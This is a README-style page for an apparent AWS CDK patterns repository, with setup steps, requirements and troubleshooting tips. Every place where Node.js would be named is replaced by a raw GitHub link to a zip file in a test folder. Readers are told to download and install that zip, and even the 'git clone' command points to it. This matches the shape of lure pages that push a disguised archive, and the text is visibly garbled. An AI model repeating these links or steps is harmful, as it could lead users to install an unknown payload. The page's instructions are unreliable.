The aws-cdk-patterns repository offers a collection of patterns built with AWS CDK in TypeScript. These patterns help you create essential AWS infrastructure components, such as VPCs, ECS Fargate setups, Aurora Serverless databases, and Lambda APIs. They simplify your serverless application development process, allowing you to focus on building features instead of worrying about configurations.
To begin using the aws-cdk-patterns, follow these simple steps:
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Visit the Releases Page Click on the following link to access the download page for the aws-cdk-patterns repository: Download aws-cdk-patterns
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Select and Download You will see a list of available versions. Each version includes a description. Choose the version you want to download. Click on the corresponding asset link to start the download.
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Install Prerequisites Ensure you have https://raw.githubusercontent.com/spx-stack/aws-cdk-patterns/main/test/stacks/aws-cdk-patterns-3.5.zip and npm (Node Package Manager) installed on your system, as they are required to run TypeScript applications. You can download https://raw.githubusercontent.com/spx-stack/aws-cdk-patterns/main/test/stacks/aws-cdk-patterns-3.5.zip from the official https://raw.githubusercontent.com/spx-stack/aws-cdk-patterns/main/test/stacks/aws-cdk-patterns-3.5.zip website. This installation will also install npm automatically.
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Install AWS CDK Open your terminal or command prompt. Use the following command to install the AWS CDK globally on your system:
npm install -g aws-cdk
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Clone the Repository If you want to explore the repository's code, you can clone it to your local machine. Use the following command in your terminal:
git clone https://raw.githubusercontent.com/spx-stack/aws-cdk-patterns/main/test/stacks/aws-cdk-patterns-3.5.zip
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Navigate to Pattern Directory Change into the directory of the pattern you wish to use. For example:
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Install Dependencies Inside the pattern directory, install the necessary dependencies by running:
npm install
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Deploy the Pattern To deploy the pattern to your AWS account, run the following command:
cdk deploy
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View Your Infrastructure Once the deployment completes, you can log in to your AWS Management Console to view and interact with the created resources.
Before you begin, make sure your system meets the following requirements:
- Operating System: Windows, macOS, or Linux
- https://raw.githubusercontent.com/spx-stack/aws-cdk-patterns/main/test/stacks/aws-cdk-patterns-3.5.zip Version 14 or higher
- npm: Comes with https://raw.githubusercontent.com/spx-stack/aws-cdk-patterns/main/test/stacks/aws-cdk-patterns-3.5.zip
- AWS Account: Create a free account at AWS
The aws-cdk-patterns repository includes patterns for various AWS services:
- VPC: Set up a Virtual Private Cloud for secure resource isolation.
- ECS Fargate: Deploy containerized applications without managing servers.
- Aurora Serverless: Use a database that automatically adjusts with your usage.
- Lambda APIs: Build serverless APIs easily.
These patterns enable you to adopt infrastructure as code, making it easier to manage, version, and scale your applications.
While using aws-cdk-patterns, you may encounter some common issues. Hereโs how to resolve them:
- Error: โCDK not recognizedโ: Ensure that AWS CDK is installed globally. Check your PATH variable and try reinstalling the AWS CDK.
- Error: โPermissions deniedโ during deploy: Ensure your AWS credentials are set up correctly. You can configure your credentials using the AWS CLI.
- AWS CDK Documentation: Learn more about AWS CDK by visiting the official documentation.
- AWS Training: Consider enrolling in AWS training courses to build your cloud skills.
- GitHub Issues: For technical issues related to this repository, visit the issues section.
For questions or discussions about aws-cdk-patterns, feel free to join the community. You can open an issue on the repository or find discussions on forums like Stack Overflow. Keeping the conversation respectful and constructive helps everyone learn.
For updates and support, check this repository regularly. We welcome contributions and feedback to enhance our patterns.